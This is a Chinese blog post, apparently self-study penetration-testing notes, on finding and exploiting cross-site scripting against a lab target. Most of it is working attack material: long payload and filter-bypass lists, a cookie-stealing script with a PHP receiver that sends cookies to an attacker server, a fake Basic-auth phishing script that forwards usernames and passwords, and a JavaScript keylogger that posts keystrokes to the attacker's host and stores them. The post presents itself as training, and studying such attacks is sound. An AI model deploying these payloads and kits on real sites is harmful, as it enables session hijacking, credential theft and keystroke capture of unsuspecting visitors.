渗透测试常规漏洞挖掘与利用-XSS

已于 2022-03-13 23:00:46 修改
阅读量884 收藏 2
点赞数
文章标签： xss web安全 php
于 2022-03-13 11:23:38 首次发布
原文链接：https://blog.csdn.net/qq_45555226/category_11253674_2.html
版权

渗透测试自学日志，开始学习XSS。
免责声明
该文章仅用于信息防御技术的交流和学习，请勿用于其他用途；
在未得到网站授权前提下，禁止对政府、事业单位、企业或其他单位网站及系统进行渗透测试；技术是把双刃剑，请遵纪守法，做一名合格的白帽子安全专家，为国家的网络安全事业做出贡献；
本文基本上是转载qwsn专栏的内容，该专栏是暗月教程的笔记，大家可以关注下。我感觉暗月的教程特别系统，有条件的

目录

一、XSS漏洞挖掘与利用

xss漏洞测试

测试的目的
为了验证当前页面是否会执行我们注入的html标签或js语句，从而可以让我们注入恶意js语句或引入恶意js脚本文件。

常规测试语句：

注意火狐会对dom型进行url编码，所以要使用ie
反射型&存储型&dom：

<h5>1</h5>
<script>alert(/xss/)</script>
<SCRIPT>alert(document.cookie)</SCRIPT>
<img src=1 onerror=alert(document.cookie)>

存储型&dom：

<script>var img=document.createElement("img");img.src="//192.168.97.130/exp/xss/a?"+escape(document.cookie);</script>

反射型测试：

http://www.webtester.com/xss/xss01.php?name=<h5>1</h5>
http://www.webtester.com/xss/xss01.php?name=<script>alert(/xss/)</script>
http://www.webtester.com/xss/xss01.php?name=<SCRIPT>alert(document.cookie)</SCRIPT>

存储型测试：

http://www.webtester.com/xss/xss02.php?name=<img src=1 onerror=alert(document.cookie)>
http://www.webtester.com/xss/xss02.php?name=<script>var img=document.createElement("img");img.src="//192.168.97.130/exp/xss/a?"+escape(document.cookie);</script>

DOM型测试：

http://www.webtester.com/xss/xss03.php?name=<h5>1</h5>
http://www.webtester.com/xss/xss03.php?name=<script>alert(/xss/)</script>
http://www.webtester.com/xss/xss03.php?name=<SCRIPT>alert(document.cookie)</SCRIPT>
http://www.webtester.com/xss/xss03.php?name=<img src=1 onerror=alert(document.cookie)>
其他测试语句
<script>alert('hello，gaga!');</script> //经典语句，哈哈！
>"'><img src="javascript.:alert('XSS')">
>"'><script>alert('XSS')</script>
<table background='javascript.:alert(([code])'></table>
<object type=text/html data='javascript.:alert(([code]);'></object>
"+alert('XSS')+"
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<s&#99;ript>alert('XSS')</script>
<img src="javas&#99;ript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
<script>alert('Vulnerable')</script> 
a.jsp/<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
<IMG SRC="javascript.:alert('XSS');">
<IMG src="/javascript.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>
<IMG SRC="jav&#x09;ascript.:alert('XSS');">
<IMG SRC="jav&#x0A;ascript.:alert('XSS');">
<IMG SRC="jav&#x0D;ascript.:alert('XSS');">
"<IMG src="/java"\0script.:alert(\"XSS\")>";'>out
<IMG SRC=" javascript.:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript.:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript.:alert('XSS')">
<IMG LOWSRC="javascript.:alert('XSS')">
<BGSOUND SRC="javascript.:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
<IMG SRC='vbscript.:msgbox("XSS")'>
<META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript.:alert('XSS')">
<DIV STYLE="background-image: url(javascript.:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>
<BASE HREF="javascript.:alert('XSS');//">
getURL("javascript.:alert('XSS')")
a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
<XML SRC="javascript.:alert('XSS');">
"> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC="javascript.:alert('XSS')"
<SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

xss漏洞利用原理

盗取COOKIE

背景：
当攻击者在评论处或留言板处测试出存在xss存储型漏洞，那么就可以通过一条script语句来外链攻击者的远程服务器上的这个xss_attack.js恶意脚本文件，从而执行下面的语句。

原理
攻击者： 攻击者把payload发布到留言板或者评论处，当受害者访问该页面的时候，就会触发该xss漏洞，那么cookie值会通过qwsn参数传递给攻击者远程服务器上的php_receive.php页面内，并且保存到同目录下的qwsn.php内。
受害者： 受害者访问该留言板或评论页面，此时会立刻触发xss漏洞，也就是外链加载攻击者远程服务器上的xss_attack.js文件，该文件的功能就是把当前用户的cookie通过qwsn参数传递给攻击者远程服务器上的xss_receive.php页面，同时又把该cookie值保存到攻击者的qwsn.php页面内。

示例：

（1）靶机： http://www.webtester.com/xss/xss02.php

（2）攻击者WEB服务器：

攻击者IP：192.168.97.130(IP对应的域名www.exploit.com)
攻击者WEB服务的目录：192.168.97.130/exp/xss
攻击者存放js恶意脚本：192.168.97.130/exp/xss/xss.attack.js
攻击者存放接收cookie的php文件：192.168.97.130/exp/xss/xss_receive.php
攻击者存放cookie的文件：192.168.97.130/exp/xss/qwsn.php

（3）恶意脚本文件xss_attack.js，读取cookie，通过qwsn参数传入xss_receive.php页面
攻击者的恶意js脚本文件：xss_attack.js

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://192.168.97.130/exp/xss/xss_receive.php?qwsn='+encodeURIComponent(document.cookie);

功能：
该脚本可以创建一个img标签，并通过src来引入攻击者远程服务器上的xss_receive.php脚本，同时以GET形式传递此时在留言板或评论处获得的cookie值给qwsn参数。

（4）xss_receive.php读取传来的qwsn参数的cookie参数值，并把cookie值写入到当前目录下的qwsn.php文件内。
攻击者接收cookie的php文件：xss_receive.php

<?php
    @ini_set('display_errors',1);
    $str = $_GET['qwsn']; //读取cookie
    $filePath = "qwsn.php";	//保存到qwsn.php
	$handler = fopen($filePath, "a");
    fwrite($handler, $str);
	fclose($handler);
?>

功能：
攻击者把从评论处或留言板处接收过来的qwsn参数值，保存到攻击者远程服务器上的qwsn.php页面中，从而得到其他人在访问留言板或评论时候的相应cookie值

（5）攻击者的payload：

payload-1：可以
<script src="http://192.168.97.130/exp/xss/xss_attack.js"></script>
payload-2：可以
<script src="//192.168.97.130/exp/xss/xss_attack.js"></script>

（6）利用过程：

第一步：攻击者把payload1或payload2发布到留言板，当其他人访问该页面的时候，触发该xss漏洞，那么cookie值会通过qwsn参数传递给我们php_receive.php页面内，并且保存到qwsn.php内。

<script src="http://192.168.97.130/exp/xss/xss_attack.js"></script>

第二步：受害者访问该留言板页面，此时会立刻触发xss漏洞，也就是加载攻击者的xss_attack.js文件，该文件的功能就是把当前用户的cookie通过qwsn参数传递给攻击者的远程服务器上的xss_receive.php页面，该页面又把改cookie值保存到攻击者的qwsn.php页面内。
第三步：攻击者查看保存到qwsn.php页面内的cookie

基础认证钓鱼

背景
当一个留言板或评论页面存在XSS存储下漏洞的时候，攻击者可以通过存入一个payload到该页面服务器的数据库中，从而可以让受害者在访问该页面的时候，触发payload。该payload的功能就是外链这个存储在攻击者远程服务器上的基础认证框脚本fish.php。

原理
攻击者
攻击者把payload发布到留言板或者评论处，当受害者访问该页面的时候，就会触发该xss漏洞，那么基础认证框就会弹出来，一旦用户输入了用户名和密码信息，就会通过username和password参数传递给攻击者远程服务器上的xfish.php页面内，该页面的功能就是把传来的参数保存到攻击者数据库中。最后攻击者可以通过自己的服务器上的pkxss_fish_result.php页面，访问得到反弹来的认证结果！！！

受害者
受害者访问该留言板或评论页面，此时会立刻触发xss漏洞，也就是外链加载攻击者远程服务器上的fish.php脚本文件，该文件的功能就是把当前用户的认证框的username和password等参数传递给攻击者远程服务器上的fish.php页面，同时又把这些参数值保存到攻击者的数据库中以供攻击者调用查看。

7、xss漏洞利用示例：基础认证钓鱼
（1）靶机： http://www.webtester.com/xss/xss02.php

（2）攻击者WEB服务器：

攻击者IP：www.exploit.cool(域名对应的IP 192.168.97.130)
攻击者WEB服务的目录：http://www.exploit.cool/exp/pikachu/pkxss/xfish/
攻击者存放提供基础认证框的php恶意脚本：http://www.exploit.cool/exp/pikachu/pkxss/xfish/fish.php
攻击者存放接收认证结果的php文件：http://www.exploit.cool/exp/pikachu/pkxss/xfish/xfish.php
攻击者存放读取认证结果的php文件：http://www.exploit.cool/exp/pikachu/pkxss/xfish/pkxss_fish_result.php

（3）攻击者远程WEB服务器上的调用保存的认证结果的文件，pkxss_fish_result.php

<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();


// 判断是否登录，没有登录不能访问
if(!check_login($link)){
    header("location:../pkxss_login.php");
}


if(isset($_GET['id']) && is_numeric($_GET['id'])){
    $id=escape($link, $_GET['id']);
    $query="delete from fish where id=$id";
    execute($link, $query);
}
?>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>钓鱼结果</title>
<link rel="stylesheet" type="text/css" href="../antxss.css" />
</head>
<body>
<div id="title">
<h1>pikachu Xss 钓鱼结果</h1>
<a href="../xssmanager.php">返回首页</a>
</div>
<div id="result">
    <table class="tb" border="1px" cellpadding="10" cellspacing="1" bgcolor="#5f9ea0">
        <tr>
            <td class="1">id</td>
            <td class="1">time</td>
            <td class="1">username</td>
            <td class="1">password</td>
            <td class="2">referer</td>
            <td class="2">操作</td>
        </tr>
    <?php 
    $query="select * from fish";
    $result=mysqli_query($link, $query);
    while($data=mysqli_fetch_assoc($result)){
$html=<<<A
    <tr>
        <td class="1">{$data['id']}</td>
        <td class="1">{$data['time']}</td>
        <td class="1">{$data['username']}</td>
        <td class="1">{$data['password']}</td>
        <td class="2">{$data['referer']}</td>
         <td><a href="pkxss_fish_result.php?id={$data['id']}">删除</a></td>
    </tr>
A;
         
        echo $html; 
    }
    ?>
    </table>
</div>
</body>
</html>

（4）fish.php提供基础认证框
攻击者远程WEB服务器上的恶意钓鱼脚本，fish.php

<?php
	error_reporting(0);
	// var_dump($_SERVER);
	if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
	//发送认证框，并给出迷惑性的info
	    header('Content-type:text/html;charset=utf-8');
	    header("WWW-Authenticate: Basic realm='认证'");
	    header('HTTP/1.0 401 Unauthorized');
	    echo 'Authorization Required.';
	    exit;
	} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
		//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
	    //echo$_SERVER['PHP_AUTH_USER'];
		//echo$_SERVER['PHP_AUTH_PW'];
		
		header("Location: http://www.exploit.cool/exp/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
	}
?>

功能：
弹窗提供一个基础认证框

（5）xfish.php读取并保存认证结果
攻击者远程WEB服务器上的保存认证结果的文件，xfish.php

<?php
	error_reporting(0);
	include_once '../inc/config.inc.php';
	include_once '../inc/mysql.inc.php';
	$link=connect();
	
	if(!empty($_GET['username']) && !empty($_GET['password'])){
	 
	    $username=$_GET['username'];
	    $password=$_GET['password'];
	    $referer="";
	    $referer.=$_SERVER['HTTP_REFERER'];
	    $time=date('Y-m-d g:i:s');
	    $query="insert fish(time,username,password,referer) 
	    values('$time','$username','$password','$referer')";
	    $result=mysqli_query($link, $query);
	} 
?>

功能：
把受害则通过基础认证框传来的用户名和密码保存到攻击者远程服务器上的数据库中

（6）攻击者的payload

payload-1：可以
<script src="http://www.exploit.cool/exp/pikachu/pkxss/xfish/fish.php"></script>

payload-2：可以
<script src="//www.exploit.cool/exp/pikachu/pkxss/xfish/fish.php"></script>

payload-3：未测试
<img src="http://www.exploit.cool/exp/pikachu/pkxss/xfish/fish.php" />

（7）利用过程

第一步：攻击者把payload发布到留言板，当受害则访问该页面的时候，触发该xss漏洞。
第二步：受害者访问该留言板页面
第三步：攻击者通过自己的WEB服务器上的pkxss_fish_result.php页面读取认证结果
或者攻击者通过数据库查看反弹的用户账号数据

（8）注意：PHP 的 HTTP 认证机制仅在 PHP 以 Apache 模块方式运行时才有效，因此该功能不适用于 CGI 版本（且phpstudy的nts模式下也不不能使用）。在 Apache 模块的 PHP 脚本中，可以用 header() 函数来向客户端浏览器发送“Authentication Required”信息，使其弹出一个用户名/密码输入窗口。当用户输入用户名和密码后，包含有 URL 的 PHP 脚本将会再次和预定义变量 PHP_AUTH_USER、PHP_AUTH_PW 和 AUTH_TYPE 一起被调用，这三个变量分别被设定为用户名，密码和认证类型。预定义变量保存在 $_SERVER 或者 $HTTP_SERVER_VARS 数组中。系统仅支持“基本的”认证。

xss漏洞利用：键盘记录器

原理
攻击者
攻击者把payload发布到留言板或者评论处，当受害者访问该页面的时候，就会触发该xss漏洞，那么该页面就会外链攻击者远程服务器上的rk.js恶意脚本文件，该恶意脚本的功能就是把用户的键盘数据以POST形式传入到rkserver.php页面，该页面又把POST的数据内容，存储到数据库中。最后攻击者可以通过自己的服务器上的pkxss_keypress_result.php页面，访问得到受害者的敲击键盘的数据！

受害者
受害者访问该留言板或评论页面，此时会立刻触发xss漏洞，也就是外链加载攻击者远程服务器上的rk.js脚本文件，该恶意脚本的功能就是把用户的键盘数据以POST形式传入到rkserver.php页面，该页面又把POST的数据内容，存储到数据库中以供攻击者调用查看。

示例：键盘记录器

（1）靶机： http://www.webtester.com/xss/xss02.php
（2）攻击者WEB服务器：

攻击者IP：www.exploit.cool(域名对应的IP 192.168.97.130)
攻击者WEB服务的目录：http://www.exploit.cool/exp/pikachu/rkeypress/xfish/
攻击者存放提供基础认证框的js恶意脚本：http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/rk.js
攻击者存放接收键盘数据的php文件：http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/rkserver.php
攻击者存放读取键盘数据的php文件：http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/pkxss_keypress_result.php

（3）读取键盘数据的rk.js恶意脚本
rk.js

/**
 * Created by runner on 2018/7/8.
 */

function createAjax(){
    var request=false;
    if(window.XMLHttpRequest){
        request=new XMLHttpRequest();
        if(request.overrideMimeType){
            request.overrideMimeType("text/xml");
        }

    }else if(window.ActiveXObject){

        var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
        for(var i=0; i<versions.length; i++){
            try{
                request=new ActiveXObject(versions[i]);
                if(request){
                    return request;
                }
            }catch(e){
                request=false;
            }
        }
    }
    return request;
}

var ajax=null;
var xl="datax=";

function onkeypress() {
    var realkey = String.fromCharCode(event.keyCode);
    xl+=realkey;
    show();
}

document.onkeypress = onkeypress;

function show() {
    ajax = createAjax();
    ajax.onreadystatechange = function () {
        if (ajax.readyState == 4) {
            if (ajax.status == 200) {
                var data = ajax.responseText;
            } else {
                alert("页面请求失败");
            }
        }
    }

    var postdate = xl;
    ajax.open("POST", "http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/rkserver.php",true);
    ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    ajax.setRequestHeader("Content-length", postdate.length);
    ajax.setRequestHeader("Connection", "close");
    ajax.send(postdate);
}

功能：
该脚本读取受害者的键盘记录然后传入到攻击者远程服务器的rkserver.php页面内，该页面又把数据保存到攻击者的数据库中。

（4）读取rk.js恶意脚本传来的键盘数据的文件rkserver.php
rkserver.php

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */

include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");

$data = $_POST['datax'];
$query = "insert keypress(data) values('$data')";
$result=mysqli_query($link,$query);
?>

（5）攻击者读取受害者的敲击键盘数据的文件pkxss_keypress_result.php

<?php
// error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

// 判断是否登录，没有登录不能访问
if(!check_login($link)){
    header("location:../pkxss_login.php");
}


if(isset($_GET['id']) && is_numeric($_GET['id'])){
    $id=escape($link, $_GET['id']);
    $query="delete from keypress where id=$id";
    execute($link, $query);
}
?>


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>键盘记录结果</title>
<link rel="stylesheet" type="text/css" href="../antxss.css" />
</head>
<body>
<div id="title">
<h1>pikachu Xss 获取键盘记录结果</h1>
<a href="../xssmanager.php">返回首页</a>
</div>
<div id="xss_main">
<table border="1px" cellpadding="10" cellspacing="1" bgcolor="#5f9ea0">
    <tr>
        <td>id</td>
        <td>记录</td>
        <td>操作</td>
    </tr>
    <?php 
    $query="select * from keypress";
    $result=mysqli_query($link, $query);
    while($data=mysqli_fetch_assoc($result)){
$html=<<<A
    <tr>
        <td>{$data['id']}</td>
        <td>{$data['data']}</td>
        <td><a href="pkxss_keypress_result.php?id={$data['id']}">删除</a></td>
    </tr>
A;
         
        echo $html;
        
        
    }
    
    ?>
    
</table>
</div>
</body>
</html>

（6）攻击者的payload

payload-1：可以
<script src="http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/rk.js"></script>

payload-2：可以
<script src="//www.exploit.cool/exp/pikachu/pkxss/rkeypress/rk.js"></script>

payload-3：无效
<img src="http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/rk.js" />

（7）利用过程：

第一步：模拟攻击者把payload发布到留言板，当受害则访问该页面的时候，触发该xss漏洞。

第二步：模拟受害者访问该留言板触发xss漏洞，用户的敲击键盘的数据被记录到攻击者的远程数据库中。

第三步：模拟攻击者通过自己的WEB服务器上的pkxss_keypress_result.php页面读取认证结果

或者攻击者通过数据库查看键盘数据

二、XSS测试-10种绕过技巧

大小写绕过：script标签一次匹配

payload：

?name=<Script>alert(1)</Script>

复写绕过（属性多余）：script大小写标签一次匹配

复写绕过-payload：

?name=<scr<script>ipt>alert(1)</scr</script>ipt>

转换标签绕过：sciprt标签禁用

payload：

?name=<img src=a onerror=alert(1)>

转换方法绕过：alert方法禁用

payload：

?name=<script>confirm(1)</script>或<img src=a onerror="confirm(1)">

手工闭合绕过：既定的script标签

payload： ?name=123";alert($a)//

手工闭合+单引号绕过：既定的scirpt标签+htmllentities默认参数

payload：

?name=moon';alert($a);//

dom输出+hash属性+substring方法-弹窗：

payload：

?name=moon#<script>alert(1);</script>

php表单的urlxss-弹窗

payload：

/" οnsubmit="alert(1)

编码&解码绕过：魔术引号magic_quotes_gpc

弹窗测试-payload：

?name=<script>alert(1);</script>

?name=<script>alert(/qwsn/);</script>

?name=<script>alert('qwsn');</script>

绕过魔术引号转义的-payload：

?name=<script>eval(String.fromCharCode(97,108,101,114,116,40,39,113,119,115,110,39,41))</script>【实际上把是一个个的ASCII码值转为字符】

事件替换script标签绕过：htmlspecialchars转义大小号

payload：

?name=qwsn' οnmοuseοver='javascript:alert(1)
maverickpig
关注
85.网络安全渗透测试—[常规漏洞挖掘与利用篇1]—[xss漏洞挖掘-测试与利用]
qwsn
01-25 5679
我认为，无论是学习安全还是从事安全的人，多多少少都有些许的情怀和使命感！！！ 文章目录 一、xss漏洞测试与利用 1、相关概念 2、xss漏洞类型 3、xss漏洞测试 4、xss漏洞利用原理：`盗取COOKIE` 5、xss漏洞利用示例：`盗取COOKIE` 6、xss漏洞利用原理：`基础认证钓鱼` 7、xss漏洞利用示例：`基础认证钓鱼` 8、xss漏洞利用原理：`键盘记录器` 9、xss漏洞利用示例：`键盘记录器` 10、关闭浏览器XSS防护机制 11、思考
86.网络安全渗透测试—[常规漏洞挖掘与利用篇2]—[xss漏洞利用平台-搭建与测试]
qwsn
01-24 2945
我认为，无论是学习安全还是从事安全的人，多多少少都有些许的情怀和使命感！！！ 文章目录 一、xss漏洞利用平台-搭建与测试 1、详细说明 2、下载地址 3、搭建过程 4、测试模块：`基础认证钓鱼`【总是失败】 5、测试默认模块：`窃取cookie`【成功】 6、安装其他模块 7、测试模块：`获取内网 ip`【时好时坏】 8、测试模块：`键盘记录器`【成功】 9、测试模块：`html5截屏`【失败】 10、测试模块：`获取xss02.php页面源码`【成功】 11、总结
渗透测试-漏洞探测
qq_64118209的博客
05-22 1126
漏洞探测
渗透测试项目中漏洞挖掘方法
broing55的博客
03-06 2828
一般针对WEB应用来讲常用的工具主要分三类： 1.抓包bp 2.目录扫描wvs，sqlmap 3.漏洞扫描 低危漏洞： 1.基于HTTP的传输请求。 可以通过查看网站是否可以通过http协议来进行访问，部分网站虽然使用了https但是也依然允许使用Http来访问。但是不排除使用https协议后会存在一些SSL加密漏洞的问题，同样也需要注意。数据安全传输是数据保护的最外围措施，理应受到...
XSS 漏洞检测与利用全解析：守护网络安全的关键洞察
最新发布
bigbangbangbang1的博客
09-13 1095
XSS 漏洞是一种常见的网络安全漏洞，它可以让攻击者在受害者的浏览器中执行恶意脚本，从而窃取用户的敏感信息、篡改页面内容或者进行其他恶意操作。为了检测和防范 XSS 漏洞，我们可以使用手动检测和自动化检测工具，同时采取输入验证和过滤、输出编码、设置 HttpOnly 标志、使用内容安全策略等防范措施。通过这些方法，可以有效地提高网页的安全性，保护用户的敏感信息。
常规的安全漏洞
weixin_39267265的博客
09-19 157
1.命令注入执行 针对需要执行命令的接口，如果要执行cat /etc/passwd 不会返回 2.代码注入执行 用户输入代码被服务区执行 3.服务端请求伪造 用户通过伪造服务端的请求，然后获取到response 4.XML实体注入 服务区入侵，内网嗅探 5.反序列化漏洞 用户通过可控的位置（cookie，参数）来读取序列化的数据，在服务端进行反序列化操作，因为反序列化可以任意修改代码，导致代码注入...
XSS漏洞的利用
LizePing_的博客
07-29 5187
XSS的利用利用XSS窃取cookieXSS修改网页XSS获取用户信息XSS+CSRF 组合拳盲打XSS(Blind XSS)利用开启HttpOnly下的利用1.phpinfo页2.框架钓鱼3.跳转钓鱼4.历史密码5.获取源码6.通过xss伪造oauth等授权请求，远程登录其它 利用XSS窃取cookie 窃取cookie是xss利用最常见的手段，攻击者有了cookie就相当于拥有了“管理员”身份。 通常需要配合xss平台来进行攻击，当被攻击者访问到有恶意代码的页面，他的cookie就会被发送到xss平台。
常见安全漏洞
netuser1937的博客
12-19 3646
常见安全漏洞
88.网络安全渗透测试—[常规漏洞挖掘与利用篇4]—[xss漏洞测试-加载payload的方法]
qwsn
01-25 4117
我认为，无论是学习安全还是从事安全的人，多多少少都有些许的情怀和使命感！！！ 文章目录 一、xss漏洞测试-加载payload的方法 1、背景 2、xss平台通用payload加载 3、img 创建script标签加载 4、字符并接加载 5、jquery加载
87.网络安全渗透测试—[常规漏洞挖掘与利用篇3]—[xss测试-10种绕过技巧]
qwsn
01-26 4917
我认为，无论是学习安全还是从事安全的人，多多少少都有些许的情怀和使命感！！！ 文章目录 一、xss测试-10种绕过技巧 1、大小写绕过：`script标签一次匹配` 2、复写绕过（属性多余）：`script大小写标签一次匹配` 3、转换标签绕过：`sciprt标签禁用` 4、转换方法绕过：alert方法禁用 5、手工闭合绕过：`既定的script标签` 6、手工闭合+单引号绕过：既定的scirpt标签+htmllentities默认参数 7、dom输出+hash属性+substring方法-弹窗： 8、ph
渗透测试 2 --- XSS、CSRF、文件上传、文件包含、反序列化漏洞
墨鱼菜鸡
07-11 3279
1、渗透测试 实用 浏览器插件 chrome、edge 插件：搜索 cookie，安装 cookie editor，打开插件，可以 导出 cookie HackBar ：Hackbar是网络安全学习者常备的工具 (https://www.fujieace.com/hacker/tools/hackbar.html )。 ​解决Firefox插件-H...
web安全/渗透测试/漏洞挖掘 - 笔记索引
chijuejie1415的博客
03-03 800
web安全/渗透测试/漏洞挖掘 - 笔记索引 课程b站链接——https://www.bilibili.com/video/av41942769/?p=1 001：基础讲解——https://my.oschina.net/hare1925/blog/3021081 002：Window...
网站常规漏洞
u014563457的博客
04-28 1147
网站常规漏洞一、SQL注入注入方式1、常规注入2、宽字节注入3、二次编码注入4、base64编码注入5、注入工具6、如何防范二、XSS跨站三、代码注入四、CSRF跨站请求伪造五、文件包含六、文件上传 一、SQL注入 示例： select * from user where id='1' or 1='1' 注入方式 1、常规注入 在接收用户输入是未过滤 2、宽字节注入 数据库...
94.网络安全渗透测试—[常规漏洞挖掘与利用篇10]—[SSFR漏洞与测试]
qwsn
02-03 2451
我认为，无论是学习安全还是从事安全的人，多多少少都有些许的情怀和使命感！！！ 文章目录 一、SSRF漏洞与测试 1、SSRF漏洞定义 2、SSRF漏洞示例 （1）靶机链接： （2）漏洞代码： （3）扫描内部网络：`利用http://协议` （4）读取本地文件：`利用file://协议` （5）攻击内部网络： （6）识别内部系统：
漏洞挖掘和渗透测试的区别
白帽子佳奇的博客
12-21 1036
漏洞挖掘和渗透测试是网络安全领域的两个重要活动，它们虽然在目标上有所重叠，但在方法、目的和范围等方面存在明显差异。
web安全|渗透测试|网络安全 漏洞挖掘的重点环节及基础知识
2201_75362610的博客
03-01 402
利用业务/功能上的设计缺陷，获取敏感信息或破坏业务的完整性，大多出现在密码修改，确权访问，密码找回，交易支付金额等功能处。序列化一个包含恶意代码的实例对象(通常是Runtime.exec来执行后台命令),然后得到对象的字节数据，并将其通过接口发送到被攻击的服务器，服务器在反序列化出对象的过程中就会触发触发恶意代码执行,从而达到攻击的目的，反序列化能在服务器上执行任意命令，间接掌握了服务器。代码没有严格校验上传文件的后缀和文件类型,上传webshell、病毒文件、后门文件，达到获取控制权限，提权。
05. XSS漏洞利用
weixin_43909650的博客
12-17 940
2022网安冬令营（web安全/渗透测试/实战训练）——蚁景网安 https://ke.qq.com/course/5874132#term_id=106089914
xss漏洞发现及利用
stevezheng1989的专栏
05-23 1080
<br /><br />漏洞描述：在使用标签（tag）进行浏览时，由于没有很好的过滤用户输入（tag关键字）造成xss跨站漏洞，用户自定义的版块tag搜索和全局tag搜索列表。利用形式1：http://myhack58.com/web2/?u=Club_talk_list&tag=<script>alert('111')</script>其中http://myhack58.com/web2/为网站连接，Club_talk_list为用户自定义版块。 利用形式2：http://myhack58.com/web
DOM-XSS漏洞挖掘与攻击面全面解析
DOM-XSS挖掘与利用的关键在于识别和利用那些设计上可能允许用户输入并被浏览器解析的HTML元素。常见的DOM-XSS漏洞位置包括： 1. URL代入页面: 在页面加载时，某些用户输入字段可能导致URL被恶意注入，如搜索框、...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值